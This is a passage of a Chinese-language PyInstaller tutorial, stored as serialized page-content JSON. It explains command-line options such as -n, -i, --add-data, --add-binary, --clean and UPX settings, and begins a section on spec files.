-c",{"type":18,"tag":297,"props":31133,"children":31134},{"style":906},[31135],{"type":24,"value":30901},{"type":18,"tag":297,"props":31137,"children":31138},{"style":310},[31139],{"type":24,"value":31140}," your_cli_tool.py\n",{"type":18,"tag":27,"props":31142,"children":31144},{"id":31143},"_3-输出文件信息设置",[31145],{"type":24,"value":31146},"3. 输出文件信息设置",{"type":18,"tag":337,"props":31148,"children":31150},{"id":31149},"n-name-namename",[31151,31157,31158],{"type":18,"tag":74,"props":31152,"children":31154},{"className":31153},[],[31155],{"type":24,"value":31156},"-n NAME",{"type":24,"value":11724},{"type":18,"tag":74,"props":31159,"children":31161},{"className":31160},[],[31162],{"type":24,"value":31163},"--name=NAME",{"type":18,"tag":34,"props":31165,"children":31166},{},[31167],{"type":24,"value":31168},"指定输出文件的名称。示例：",{"type":18,"tag":287,"props":31170,"children":31172},{"className":289,"code":31171,"language":291,"meta":8,"style":8},"pyinstaller -F -n YourApplication your_script.py\n",[31173],{"type":18,"tag":74,"props":31174,"children":31175},{"__ignoreMap":8},[31176],{"type":18,"tag":297,"props":31177,"children":31178},{"class":299,"line":300},[31179,31183,31187,31191,31196],{"type":18,"tag":297,"props":31180,"children":31181},{"style":304},[31182],{"type":24,"value":30751},{"type":18,"tag":297,"props":31184,"children":31185},{"style":906},[31186],{"type":24,"value":30901},{"type":18,"tag":297,"props":31188,"children":31189},{"style":906},[31190],{"type":24,"value":30080},{"type":18,"tag":297,"props":31192,"children":31193},{"style":310},[31194],{"type":24,"value":31195}," YourApplication",{"type":18,"tag":297,"props":31197,"children":31198},{"style":310},[31199],{"type":24,"value":30802},{"type":18,"tag":34,"props":31201,"children":31202},{},[31203,31205,31211,31213,31219],{"type":24,"value":31204},"这样生成的可执行文件名称为 ",{"type":18,"tag":74,"props":31206,"children":31208},{"className":31207},[],[31209],{"type":24,"value":31210},"YourApplication",{"type":24,"value":31212},"（Windows 下为 ",{"type":18,"tag":74,"props":31214,"children":31216},{"className":31215},[],[31217],{"type":24,"value":31218},"YourApplication.exe",{"type":24,"value":6182},{"type":18,"tag":337,"props":31221,"children":31223},{"id":31222},"i-icon-iconicon",[31224,31230,31231],{"type":18,"tag":74,"props":31225,"children":31227},{"className":31226},[],[31228],{"type":24,"value":31229},"-i ICON",{"type":24,"value":11724},{"type":18,"tag":74,"props":31232,"children":31234},{"className":31233},[],[31235],{"type":24,"value":31236},"--icon=ICON",{"type":18,"tag":34,"props":31238,"children":31239},{},[31240],{"type":24,"value":31241},"指定程序图标。",{"type":18,"tag":34,"props":31243,"children":31244},{},[31245],{"type":18,"tag":105,"props":31246,"children":31247},{},[31248],{"type":24,"value":31249},"示例（Windows）：",{"type":18,"tag":287,"props":31251,"children":31253},{"className":289,"code":31252,"language":291,"meta":8,"style":8},"pyinstaller -F -i app_icon.ico your_script.py\n",[31254],{"type":18,"tag":74,"props":31255,"children":31256},{"__ignoreMap":8},[31257],{"type":18,"tag":297,"props":31258,"children":31259},{"class":299,"line":300},[31260,31264,31268,31273,31278],{"type":18,"tag":297,"props":31261,"children":31262},{"style":304},[31263],{"type":24,"value":30751},{"type":18,"tag":297,"props":31265,"children":31266},{"style":906},[31267],{"type":24,"value":30901},{"type":18,"tag":297,"props":31269,"children":31270},{"style":906},[31271],{"type":24,"value":31272}," -i",{"type":18,"tag":297,"props":31274,"children":31275},{"style":310},[31276],{"type":24,"value":31277}," app_icon.ico",{"type":18,"tag":297,"props":31279,"children":31280},{"style":310},[31281],{"type":24,"value":30802},{"type":18,"tag":34,"props":31283,"children":31284},{},[31285],{"type":18,"tag":105,"props":31286,"children":31287},{},[31288],{"type":24,"value":31289},"示例（MacOS）：",{"type":18,"tag":287,"props":31291,"children":31293},{"className":289,"code":31292,"language":291,"meta":8,"style":8},"pyinstaller -F -i app_icon.icns your_script.py\n",[31294],{"type":18,"tag":74,"props":31295,"children":31296},{"__ignoreMap":8},[31297],{"type":18,"tag":297,"props":31298,"children":31299},{"class":299,"line":300},[31300,31304,31308,31312,31317],{"type":18,"tag":297,"props":31301,"children":31302},{"style":304},[31303],{"type":24,"value":30751},{"type":18,"tag":297,"props":31305,"children":31306},{"style":906},[31307],{"type":24,"value":30901},{"type":18,"tag":297,"props":31309,"children":31310},{"style":906},[31311],{"type":24,"value":31272},{"type":18,"tag":297,"props":31313,"children":31314},{"style":310},[31315],{"type":24,"value":31316}," app_icon.icns",{"type":18,"tag":297,"props":31318,"children":31319},{"style":310},[31320],{"type":24,"value":30802},{"type":18,"tag":27,"props":31322,"children":31324},{"id":31323},"_4-路径和导入设置",[31325],{"type":24,"value":31326},"4. 路径和导入设置",{"type":18,"tag":337,"props":31328,"children":31330},{"id":31329},"pathsdirs",[31331],{"type":18,"tag":74,"props":31332,"children":31334},{"className":31333},[],[31335],{"type":24,"value":31336},"--paths=DIRS",{"type":18,"tag":34,"props":31338,"children":31339},{},[31340],{"type":24,"value":31341},"添加 Python 模块的搜索路径。示例如下：",{"type":18,"tag":287,"props":31343,"children":31345},{"className":289,"code":31344,"language":291,"meta":8,"style":8},"pyinstaller -F --paths=.\u002Flibs --paths=.\u002Fmodules your_script.py\n",[31346],{"type":18,"tag":74,"props":31347,"children":31348},{"__ignoreMap":8},[31349],{"type":18,"tag":297,"props":31350,"children":31351},{"class":299,"line":300},[31352,31356,31360,31365,31370],{"type":18,"tag":297,"props":31353,"children":31354},{"style":304},[31355],{"type":24,"value":30751},{"type":18,"tag":297,"props":31357,"children":31358},{"style":906},[31359],{"type":24,"value":30901},{"type":18,"tag":297,"props":31361,"children":31362},{"style":906},[31363],{"type":24,"value":31364}," --paths=.\u002Flibs",{"type":18,"tag":297,"props":31366,"children":31367},{"style":906},[31368],{"type":24,"value":31369}," --paths=.\u002Fmodules",{"type":18,"tag":297,"props":31371,"children":31372},{"style":310},[31373],{"type":24,"value":30802},{"type":18,"tag":337,"props":31375,"children":31377},{"id":31376},"hidden-importmodulename",[31378],{"type":18,"tag":74,"props":31379,"children":31381},{"className":31380},[],[31382],{"type":24,"value":31383},"--hidden-import=MODULENAME",{"type":18,"tag":34,"props":31385,"children":31386},{},[31387],{"type":24,"value":31388},"指定隐藏的导入模块（当 PyInstaller 自动检测不到某些依赖时使用）。示例如下：",{"type":18,"tag":287,"props":31390,"children":31392},{"className":289,"code":31391,"language":291,"meta":8,"style":8},"pyinstaller -F --hidden-import=requests --hidden-import=beautifulsoup4 your_script.py\n",[31393],{"type":18,"tag":74,"props":31394,"children":31395},{"__ignoreMap":8},[31396],{"type":18,"tag":297,"props":31397,"children":31398},{"class":299,"line":300},[31399,31403,31407,31412,31417],{"type":18,"tag":297,"props":31400,"children":31401},{"style":304},[31402],{"type":24,"value":30751},{"type":18,"tag":297,"props":31404,"children":31405},{"style":906},[31406],{"type":24,"value":30901},{"type":18,"tag":297,"props":31408,"children":31409},{"style":906},[31410],{"type":24,"value":31411}," --hidden-import=requests",{"type":18,"tag":297,"props":31413,"children":31414},{"style":906},[31415],{"type":24,"value":31416}," --hidden-import=beautifulsoup4",{"type":18,"tag":297,"props":31418,"children":31419},{"style":310},[31420],{"type":24,"value":30802},{"type":18,"tag":337,"props":31422,"children":31424},{"id":31423},"collect-datamodule-add-datasrcdst-windows-add-datasrcdst-linuxmacos",[31425,31431,31432,31438,31440,31446],{"type":18,"tag":74,"props":31426,"children":31428},{"className":31427},[],[31429],{"type":24,"value":31430},"--collect-data=MODULE",{"type":24,"value":11724},{"type":18,"tag":74,"props":31433,"children":31435},{"className":31434},[],[31436],{"type":24,"value":31437},"--add-data=SRC;DST",{"type":24,"value":31439}," (Windows), ",{"type":18,"tag":74,"props":31441,"children":31443},{"className":31442},[],[31444],{"type":24,"value":31445},"--add-data=SRC:DST",{"type":24,"value":31447}," (Linux\u002FMacOS)",{"type":18,"tag":34,"props":31449,"children":31450},{},[31451,31453,31458],{"type":24,"value":31452},"添加非 Python 文件（如数据文件、配置文件等）。",{"type":18,"tag":105,"props":31454,"children":31455},{},[31456],{"type":24,"value":31457},"参数详情",{"type":24,"value":222},{"type":18,"tag":210,"props":31460,"children":31461},{},[31462,31480],{"type":18,"tag":158,"props":31463,"children":31464},{},[31465,31470,31472,31478],{"type":18,"tag":74,"props":31466,"children":31468},{"className":31467},[],[31469],{"type":24,"value":31430},{"type":24,"value":31471},"：这个选项用于收集指定模块的所有数据文件 。",{"type":18,"tag":74,"props":31473,"children":31475},{"className":31474},[],[31476],{"type":24,"value":31477},"MODULE",{"type":24,"value":31479}," 代表你想要收集数据文件的模块名称。",{"type":18,"tag":158,"props":31481,"children":31482},{},[31483,31488,31490,31495,31497,31503,31505,31511],{"type":18,"tag":74,"props":31484,"children":31486},{"className":31485},[],[31487],{"type":24,"value":31445},{"type":24,"value":31489},"（在 Windows 系统上）和 ",{"type":18,"tag":74,"props":31491,"children":31493},{"className":31492},[],[31494],{"type":24,"value":31445},{"type":24,"value":31496},"（在 Linux\u002FMacOS 系统上）：这是用于添加自定义非 Python 文件的语法。",{"type":18,"tag":74,"props":31498,"children":31500},{"className":31499},[],[31501],{"type":24,"value":31502},"SRC",{"type":24,"value":31504}," 表示源文件或源目录路径，",{"type":18,"tag":74,"props":31506,"children":31508},{"className":31507},[],[31509],{"type":24,"value":31510},"DST",{"type":24,"value":31512}," 表示在打包后的可执行文件中目标文件或目录的路径。",{"type":18,"tag":34,"props":31514,"children":31515},{},[31516],{"type":18,"tag":105,"props":31517,"children":31518},{},[31519],{"type":24,"value":31520},"Windows 示例：",{"type":18,"tag":287,"props":31522,"children":31524},{"className":289,"code":31523,"language":291,"meta":8,"style":8},"pyinstaller -F --add-data=\"data\u002F*;data\" your_script.py\n",[31525],{"type":18,"tag":74,"props":31526,"children":31527},{"__ignoreMap":8},[31528],{"type":18,"tag":297,"props":31529,"children":31530},{"class":299,"line":300},[31531,31535,31539,31544,31549],{"type":18,"tag":297,"props":31532,"children":31533},{"style":304},[31534],{"type":24,"value":30751},{"type":18,"tag":297,"props":31536,"children":31537},{"style":906},[31538],{"type":24,"value":30901},{"type":18,"tag":297,"props":31540,"children":31541},{"style":906},[31542],{"type":24,"value":31543}," --add-data=",{"type":18,"tag":297,"props":31545,"children":31546},{"style":310},[31547],{"type":24,"value":31548},"\"data\u002F*;data\"",{"type":18,"tag":297,"props":31550,"children":31551},{"style":310},[31552],{"type":24,"value":30802},{"type":18,"tag":210,"props":31554,"children":31555},{},[31556,31566,31607],{"type":18,"tag":158,"props":31557,"children":31558},{},[31559,31564],{"type":18,"tag":74,"props":31560,"children":31562},{"className":31561},[],[31563],{"type":24,"value":30870},{"type":24,"value":31565}," 选项表示生成单个可执行文件。",{"type":18,"tag":158,"props":31567,"children":31568},{},[31569,31575,31577,31582,31584,31590,31592,31598,31600,31605],{"type":18,"tag":74,"props":31570,"children":31572},{"className":31571},[],[31573],{"type":24,"value":31574},"--add-data=\"data\u002F*;data\"",{"type":24,"value":31576}," 表示将 ",{"type":18,"tag":74,"props":31578,"children":31580},{"className":31579},[],[31581],{"type":24,"value":20232},{"type":24,"value":31583}," 目录下的所有文件（",{"type":18,"tag":74,"props":31585,"children":31587},{"className":31586},[],[31588],{"type":24,"value":31589},"data\u002F*",{"type":24,"value":31591}," 中的 ",{"type":18,"tag":74,"props":31593,"children":31595},{"className":31594},[],[31596],{"type":24,"value":31597},"*",{"type":24,"value":31599}," 是通配符，代表所有文件）添加到打包后的可执行文件中的 ",{"type":18,"tag":74,"props":31601,"children":31603},{"className":31602},[],[31604],{"type":24,"value":20232},{"type":24,"value":31606}," 目录下。",{"type":18,"tag":158,"props":31608,"children":31609},{},[31610,31616],{"type":18,"tag":74,"props":31611,"children":31613},{"className":31612},[],[31614],{"type":24,"value":31615},"your_script.py",{"type":24,"value":31617}," 是你要打包的 Python 脚本文件名。",{"type":18,"tag":34,"props":31619,"children":31620},{},[31621],{"type":18,"tag":105,"props":31622,"children":31623},{},[31624],{"type":24,"value":31625},"Linux\u002FMacOS 示例：",{"type":18,"tag":287,"props":31627,"children":31629},{"className":289,"code":31628,"language":291,"meta":8,"style":8},"pyinstaller -F --add-data=\"data\u002F*:data\" your_script.py\n",[31630],{"type":18,"tag":74,"props":31631,"children":31632},{"__ignoreMap":8},[31633],{"type":18,"tag":297,"props":31634,"children":31635},{"class":299,"line":300},[31636,31640,31644,31648,31653],{"type":18,"tag":297,"props":31637,"children":31638},{"style":304},[31639],{"type":24,"value":30751},{"type":18,"tag":297,"props":31641,"children":31642},{"style":906},[31643],{"type":24,"value":30901},{"type":18,"tag":297,"props":31645,"children":31646},{"style":906},[31647],{"type":24,"value":31543},{"type":18,"tag":297,"props":31649,"children":31650},{"style":310},[31651],{"type":24,"value":31652},"\"data\u002F*:data\"",{"type":18,"tag":297,"props":31654,"children":31655},{"style":310},[31656],{"type":24,"value":30802},{"type":18,"tag":210,"props":31658,"children":31659},{},[31660,31670],{"type":18,"tag":158,"props":31661,"children":31662},{},[31663,31668],{"type":18,"tag":74,"props":31664,"children":31666},{"className":31665},[],[31667],{"type":24,"value":30870},{"type":24,"value":31669}," 是生成单个可执行文件。",{"type":18,"tag":158,"props":31671,"children":31672},{},[31673,31679,31681,31686,31688,31693,31695,31700,31702,31707],{"type":18,"tag":74,"props":31674,"children":31676},{"className":31675},[],[31677],{"type":24,"value":31678},"--add-data=\"data\u002F*:data\"",{"type":24,"value":31680}," 这里用 ",{"type":18,"tag":74,"props":31682,"children":31684},{"className":31683},[],[31685],{"type":24,"value":24972},{"type":24,"value":31687}," 分隔，含义和 Windows 示例类似，即将 ",{"type":18,"tag":74,"props":31689,"children":31691},{"className":31690},[],[31692],{"type":24,"value":20232},{"type":24,"value":31694}," 目录下的所有文件添加到打包后的可执行文件中的 ",{"type":18,"tag":74,"props":31696,"children":31698},{"className":31697},[],[31699],{"type":24,"value":20232},{"type":24,"value":31701}," 目录下，",{"type":18,"tag":74,"props":31703,"children":31705},{"className":31704},[],[31706],{"type":24,"value":31615},{"type":24,"value":31708}," 是待打包的 Python 脚本 。",{"type":18,"tag":337,"props":31710,"children":31712},{"id":31711},"collect-binariesmodule-add-binarysrcdst",[31713,31719,31720],{"type":18,"tag":74,"props":31714,"children":31716},{"className":31715},[],[31717],{"type":24,"value":31718},"--collect-binaries=MODULE",{"type":24,"value":11724},{"type":18,"tag":74,"props":31721,"children":31723},{"className":31722},[],[31724],{"type":24,"value":31725},"--add-binary=SRC:DST",{"type":18,"tag":34,"props":31727,"children":31728},{},[31729,31731,31736],{"type":24,"value":31730},"添加二进制文件。",{"type":18,"tag":105,"props":31732,"children":31733},{},[31734],{"type":24,"value":31735},"语法参数说明",{"type":24,"value":222},{"type":18,"tag":210,"props":31738,"children":31739},{},[31740,31765],{"type":18,"tag":158,"props":31741,"children":31742},{},[31743,31748,31750,31756,31758,31763],{"type":18,"tag":74,"props":31744,"children":31746},{"className":31745},[],[31747],{"type":24,"value":31718},{"type":24,"value":31749},"：让 ",{"type":18,"tag":74,"props":31751,"children":31753},{"className":31752},[],[31754],{"type":24,"value":31755},"PyInstaller",{"type":24,"value":31757}," 收集指定 ",{"type":18,"tag":74,"props":31759,"children":31761},{"className":31760},[],[31762],{"type":24,"value":31477},{"type":24,"value":31764},"（模块）相关的二进制文件，会自动查找模块关联的二进制依赖并打包 。",{"type":18,"tag":158,"props":31766,"children":31767},{},[31768,31773,31775,31780,31782,31788,31790,31796,31798,31803,31805,31810],{"type":18,"tag":74,"props":31769,"children":31771},{"className":31770},[],[31772],{"type":24,"value":31725},{"type":24,"value":31774},"：手动指定要添加的二进制文件，",{"type":18,"tag":74,"props":31776,"children":31778},{"className":31777},[],[31779],{"type":24,"value":31502},{"type":24,"value":31781}," 是源路径（可含通配符，像示例里 ",{"type":18,"tag":74,"props":31783,"children":31785},{"className":31784},[],[31786],{"type":24,"value":31787},"libs\u002F*.dll",{"type":24,"value":31789}," 匹配 ",{"type":18,"tag":74,"props":31791,"children":31793},{"className":31792},[],[31794],{"type":24,"value":31795},"libs",{"type":24,"value":31797}," 目录下所有 DLL 文件 ），",{"type":18,"tag":74,"props":31799,"children":31801},{"className":31800},[],[31802],{"type":24,"value":31510},{"type":24,"value":31804}," 是打包后这些文件存放的目录（示例中是 ",{"type":18,"tag":74,"props":31806,"children":31808},{"className":31807},[],[31809],{"type":24,"value":31795},{"type":24,"value":31811}," ，即保持相对路径结构 ）。",{"type":18,"tag":34,"props":31813,"children":31814},{},[31815],{"type":18,"tag":105,"props":31816,"children":31817},{},[31818],{"type":24,"value":31520},{"type":18,"tag":287,"props":31820,"children":31822},{"className":289,"code":31821,"language":291,"meta":8,"style":8},"pyinstaller -F --add-binary=\"libs\u002F*.dll;libs\" your_script.py\n",[31823],{"type":18,"tag":74,"props":31824,"children":31825},{"__ignoreMap":8},[31826],{"type":18,"tag":297,"props":31827,"children":31828},{"class":299,"line":300},[31829,31833,31837,31842,31847],{"type":18,"tag":297,"props":31830,"children":31831},{"style":304},[31832],{"type":24,"value":30751},{"type":18,"tag":297,"props":31834,"children":31835},{"style":906},[31836],{"type":24,"value":30901},{"type":18,"tag":297,"props":31838,"children":31839},{"style":906},[31840],{"type":24,"value":31841}," --add-binary=",{"type":18,"tag":297,"props":31843,"children":31844},{"style":310},[31845],{"type":24,"value":31846},"\"libs\u002F*.dll;libs\"",{"type":18,"tag":297,"props":31848,"children":31849},{"style":310},[31850],{"type":24,"value":30802},{"type":18,"tag":210,"props":31852,"children":31853},{},[31854,31864,31889],{"type":18,"tag":158,"props":31855,"children":31856},{},[31857,31862],{"type":18,"tag":74,"props":31858,"children":31860},{"className":31859},[],[31861],{"type":24,"value":30870},{"type":24,"value":31863},"：生成单个可执行文件，把所有依赖打包进一个 EXE 里。",{"type":18,"tag":158,"props":31865,"children":31866},{},[31867,31873,31875,31880,31882,31887],{"type":18,"tag":74,"props":31868,"children":31870},{"className":31869},[],[31871],{"type":24,"value":31872},"--add-binary=\"libs\u002F*.dll;libs\"",{"type":24,"value":31874},"：把 ",{"type":18,"tag":74,"props":31876,"children":31878},{"className":31877},[],[31879],{"type":24,"value":31795},{"type":24,"value":31881}," 目录下所有 DLL 文件，按 ",{"type":18,"tag":74,"props":31883,"children":31885},{"className":31884},[],[31886],{"type":24,"value":31795},{"type":24,"value":31888}," 相对路径结构，添加到打包内容里，程序运行时能找到这些二进制依赖。",{"type":18,"tag":158,"props":31890,"children":31891},{},[31892,31898],{"type":18,"tag":74,"props":31893,"children":31895},{"className":31894},[],[31896],{"type":24,"value":31897},"my_script.py",{"type":24,"value":31899},"：要打包的 Python 脚本入口文件。",{"type":18,"tag":27,"props":31901,"children":31903},{"id":31902},"_5-其他常用参数",[31904],{"type":24,"value":31905},"5. 其他常用参数",{"type":18,"tag":337,"props":31907,"children":31909},{"id":31908},"clean",[31910],{"type":18,"tag":74,"props":31911,"children":31913},{"className":31912},[],[31914],{"type":24,"value":31915},"--clean",{"type":18,"tag":34,"props":31917,"children":31918},{},[31919],{"type":24,"value":31920},"在构建之前清理临时文件。示例如下：",{"type":18,"tag":287,"props":31922,"children":31924},{"className":289,"code":31923,"language":291,"meta":8,"style":8},"pyinstaller --clean -F your_script.py\n",[31925],{"type":18,"tag":74,"props":31926,"children":31927},{"__ignoreMap":8},[31928],{"type":18,"tag":297,"props":31929,"children":31930},{"class":299,"line":300},[31931,31935,31940,31944],{"type":18,"tag":297,"props":31932,"children":31933},{"style":304},[31934],{"type":24,"value":30751},{"type":18,"tag":297,"props":31936,"children":31937},{"style":906},[31938],{"type":24,"value":31939}," --clean",{"type":18,"tag":297,"props":31941,"children":31942},{"style":906},[31943],{"type":24,"value":30901},{"type":18,"tag":297,"props":31945,"children":31946},{"style":310},[31947],{"type":24,"value":30802},{"type":18,"tag":337,"props":31949,"children":31951},{"id":31950},"debug",[31952],{"type":18,"tag":74,"props":31953,"children":31955},{"className":31954},[],[31956],{"type":24,"value":31957},"--debug",{"type":18,"tag":34,"props":31959,"children":31960},{},[31961],{"type":24,"value":31962},"生成调试版本，包含调试信息。示例如下：",{"type":18,"tag":287,"props":31964,"children":31966},{"className":289,"code":31965,"language":291,"meta":8,"style":8},"pyinstaller --debug -F your_script.py\n",[31967],{"type":18,"tag":74,"props":31968,"children":31969},{"__ignoreMap":8},[31970],{"type":18,"tag":297,"props":31971,"children":31972},{"class":299,"line":300},[31973,31977,31982,31986],{"type":18,"tag":297,"props":31974,"children":31975},{"style":304},[31976],{"type":24,"value":30751},{"type":18,"tag":297,"props":31978,"children":31979},{"style":906},[31980],{"type":24,"value":31981}," --debug",{"type":18,"tag":297,"props":31983,"children":31984},{"style":906},[31985],{"type":24,"value":30901},{"type":18,"tag":297,"props":31987,"children":31988},{"style":310},[31989],{"type":24,"value":30802},{"type":18,"tag":337,"props":31991,"children":31993},{"id":31992},"version-filefile",[31994],{"type":18,"tag":74,"props":31995,"children":31997},{"className":31996},[],[31998],{"type":24,"value":31999},"--version-file=FILE",{"type":18,"tag":34,"props":32001,"children":32002},{},[32003],{"type":24,"value":32004},"添加版本信息文件。示例如下：",{"type":18,"tag":287,"props":32006,"children":32008},{"className":289,"code":32007,"language":291,"meta":8,"style":8},"pyinstaller -F --version-file=version_info.txt your_script.py\n",[32009],{"type":18,"tag":74,"props":32010,"children":32011},{"__ignoreMap":8},[32012],{"type":18,"tag":297,"props":32013,"children":32014},{"class":299,"line":300},[32015,32019,32023,32028],{"type":18,"tag":297,"props":32016,"children":32017},{"style":304},[32018],{"type":24,"value":30751},{"type":18,"tag":297,"props":32020,"children":32021},{"style":906},[32022],{"type":24,"value":30901},{"type":18,"tag":297,"props":32024,"children":32025},{"style":906},[32026],{"type":24,"value":32027}," --version-file=version_info.txt",{"type":18,"tag":297,"props":32029,"children":32030},{"style":310},[32031],{"type":24,"value":30802},{"type":18,"tag":337,"props":32033,"children":32035},{"id":32034},"upx-dirdir",[32036],{"type":18,"tag":74,"props":32037,"children":32039},{"className":32038},[],[32040],{"type":24,"value":32041},"--upx-dir=DIR",{"type":18,"tag":34,"props":32043,"children":32044},{},[32045],{"type":24,"value":32046},"指定 UPX 压缩工具的目录（用于压缩可执行文件）。示例如下：",{"type":18,"tag":287,"props":32048,"children":32050},{"className":289,"code":32049,"language":291,"meta":8,"style":8},"pyinstaller -F --upx-dir=.\u002Fupx your_script.py\n",[32051],{"type":18,"tag":74,"props":32052,"children":32053},{"__ignoreMap":8},[32054],{"type":18,"tag":297,"props":32055,"children":32056},{"class":299,"line":300},[32057,32061,32065,32070],{"type":18,"tag":297,"props":32058,"children":32059},{"style":304},[32060],{"type":24,"value":30751},{"type":18,"tag":297,"props":32062,"children":32063},{"style":906},[32064],{"type":24,"value":30901},{"type":18,"tag":297,"props":32066,"children":32067},{"style":906},[32068],{"type":24,"value":32069}," --upx-dir=.\u002Fupx",{"type":18,"tag":297,"props":32071,"children":32072},{"style":310},[32073],{"type":24,"value":30802},{"type":18,"tag":337,"props":32075,"children":32077},{"id":32076},"noupx",[32078],{"type":18,"tag":74,"props":32079,"children":32081},{"className":32080},[],[32082],{"type":24,"value":32083},"--noupx",{"type":18,"tag":34,"props":32085,"children":32086},{},[32087],{"type":24,"value":32088},"禁用 UPX 压缩。示例如下：",{"type":18,"tag":287,"props":32090,"children":32092},{"className":289,"code":32091,"language":291,"meta":8,"style":8},"pyinstaller -F --noupx your_script.py\n",[32093],{"type":18,"tag":74,"props":32094,"children":32095},{"__ignoreMap":8},[32096],{"type":18,"tag":297,"props":32097,"children":32098},{"class":299,"line":300},[32099,32103,32107,32112],{"type":18,"tag":297,"props":32100,"children":32101},{"style":304},[32102],{"type":24,"value":30751},{"type":18,"tag":297,"props":32104,"children":32105},{"style":906},[32106],{"type":24,"value":30901},{"type":18,"tag":297,"props":32108,"children":32109},{"style":906},[32110],{"type":24,"value":32111}," --noupx",{"type":18,"tag":297,"props":32113,"children":32114},{"style":310},[32115],{"type":24,"value":30802},{"type":18,"tag":337,"props":32117,"children":32119},{"id":32118},"y-noconfirm",[32120,32126,32127],{"type":18,"tag":74,"props":32121,"children":32123},{"className":32122},[],[32124],{"type":24,"value":32125},"-y",{"type":24,"value":11724},{"type":18,"tag":74,"props":32128,"children":32130},{"className":32129},[],[32131],{"type":24,"value":32132},"--noconfirm",{"type":18,"tag":34,"props":32134,"children":32135},{},[32136],{"type":24,"value":32137},"替换输出目录而不询问确认。示例如下：",{"type":18,"tag":287,"props":32139,"children":32141},{"className":289,"code":32140,"language":291,"meta":8,"style":8},"pyinstaller -F -y your_script.py\n",[32142],{"type":18,"tag":74,"props":32143,"children":32144},{"__ignoreMap":8},[32145],{"type":18,"tag":297,"props":32146,"children":32147},{"class":299,"line":300},[32148,32152,32156,32161],{"type":18,"tag":297,"props":32149,"children":32150},{"style":304},[32151],{"type":24,"value":30751},{"type":18,"tag":297,"props":32153,"children":32154},{"style":906},[32155],{"type":24,"value":30901},{"type":18,"tag":297,"props":32157,"children":32158},{"style":906},[32159],{"type":24,"value":32160}," -y",{"type":18,"tag":297,"props":32162,"children":32163},{"style":310},[32164],{"type":24,"value":30802},{"type":18,"tag":19,"props":32166,"children":32168},{"id":32167},"四使用-spec-文件进行高级打包",[32169],{"type":24,"value":32170},"四、使用 spec 文件进行高级打包",{"type":18,"tag":34,"props":32172,"children":32173},{},[32174],{"type":24,"value":32175},"对于复杂的打包需求，建议使用 spec 文件进行配置。生成 spec 文件的命令：",{"type":18,"tag":287,"props":32177,"children":32179},{"className":289,"code":32178,"language":291,"meta":8,"style":8},"pyi-makespec my_script.py\n",[32180],{"type":18,"tag":74,"props":32181,"children":32182},{"__ignoreMap":8},[32183],{"type":18,"tag":297,"props":32184,"children":32185},{"class":299,"line":300},[32186,32191],{"type":18,"tag":297,"props":32187,"children":32188},{"style":304},[32189],{"type":24,"value":32190},"pyi-makespec",{"type":18,"tag":297,"props":32192,"children":32193},{"style":310},[32194],{"type":24,"value":32195}," my_script.py\n",{"type":18,"tag":34,"props":32197,"children":32198},{},[32199,32201,32207],{"type":24,"value":32200},"这会生成一个 ",{"type":18,"tag":74,"props":32202,"children":32204},{"className":32203},[],[32205],{"type":24,"value":32206},"my_script.spec",{"type":24,"value":32208}," 文件，内容大致如下：",{"type":18,"tag":287,"props":32210,"children":32212},{"className":28710,"code":32211,"language":28712,"meta":8,"style":8},"# my_script.spec\na = Analysis(['my_script.py'],\n             pathex=['\u002Fpath\u002Fto\u002Fyour\u002Fscript'],\n             binaries=[],\n             datas=[],\n             hiddenimports=[],\n             hookspath=[],\n             runtime_hooks=[],\n             excludes=[],\n             win_no_prefer_redirects=False,\n             win_private_assemblies=False,\n             cipher=block_cipher,\n             noarchive=False)\npyz = PYZ(a.pure, a.zipped_data,\n             cipher=block_cipher)\nexe = EXE(pyz,\n          a.scripts,\n          a.binaries,\n          a.zipfiles,\n          a.datas,\n          [],\n          name='my_script',\n          debug=False,\n          bootloader_ignore_signals=False,\n          strip=False,\n          upx=True,\n          upx_exclude=[],\n          runtime_tmpdir=None,\n          console=True)\n",[32213],{"type":18,"tag":74,"props":32214,"children":32215},{"__ignoreMap":8},[32216,32224,32232,32240,32248,32256,32264,32272,32280,32288,32296,32304,32312,32320,32328,32336,32344,32352,32360,32368,32376,32384,32392,32400,32408,32416,32424,32432,32440],{"type":18,"tag":297,"props":32217,"children":32218},{"class":299,"line":300},[32219],{"type":18,"tag":297,"props":32220,"children":32221},{},[32222],{"type":24,"value":32223},"# my_script.spec\n",{"type":18,"tag":297,"props":32225,"children":32226},{"class":299,"line":657},[32227],{"type":18,"tag":297,"props":32228,"children":32229},{},[32230],{"type":24,"value":32231},"a = Analysis(['my_script.py'],\n",{"type":18,"tag":297,"props":32233,"children":32234},{"class":299,"line":662},[32235],{"type":18,"tag":297,"props":32236,"children":32237},{},[32238],{"type":24,"value":32239},"             pathex=['\u002Fpath\u002Fto\u002Fyour\u002Fscript'],\n",{"type":18,"tag":297,"props":32241,"children":32242},{"class":299,"line":799},[32243],{"type":18,"tag":297,"props":32244,"children":32245},{},[32246],{"type":24,"value":32247},"             binaries=[],\n",{"type":18,"tag":297,"props":32249,"children":32250},{"class":299,"line":808},[32251],{"type":18,"tag":297,"props":32252,"children":32253},{},[32254],{"type":24,"value":32255},"             datas=[],\n",{"type":18,"tag":297,"props":32257,"children":32258},{"class":299,"line":817},[32259],{"type":18,"tag":297,"props":32260,"children":32261},{},[32262],{"type":24,"value":32263},"             hiddenimports=[],\n",{"type":18,"tag":297,"props":32265,"children":32266},{"class":299,"line":826},[32267],{"type":18,"tag":297,"props":32268,"children":32269},{},[32270],{"type":24,"value":32271},"             hookspath=[],\n",{"type":18,"tag":297,"props":32273,"children":32274},{"class":299,"line":4524},[32275],{"type":18,"tag":297,"props":32276,"children":32277},{},[32278],{"type":24,"value":32279},"             runtime_hooks=[],\n",{"type":18,"tag":297,"props":32281,"children":32282},{"class":299,"line":4533},[32283],{"type":18,"tag":297,"props":32284,"children":32285},{},[32286],{"type":24,"value":32287},"             excludes=[],\n",{"type":18,"tag":297,"props":32289,"children":32290},{"class":299,"line":4546},[32291],{"type":18,"tag":297,"props":32292,"children":32293},{},[32294],{"type":24,"value":32295},"             win_no_prefer_redirects=False,\n",{"type":18,"tag":297,"props":32297,"children":32298},{"class":299,"line":4555},[32299],{"type":18,"tag":297,"props":32300,"children":32301},{},[32302],{"type":24,"value":32303},"             win_private_assemblies=False,\n",{"type":18,"tag":297,"props":32305,"children":32306},{"class":299,"line":4568},[32307],{"type":18,"tag":297,"props":32308,"children":32309},{},[32310],{"type":24,"value":32311},"             cipher=block_cipher,\n",{"type":18,"tag":297,"props":32313,"children":32314},{"class":299,"line":4577},[32315],{"type":18,"tag":297,"props":32316,"children":32317},{},[32318],{"type":24,"value":32319},"             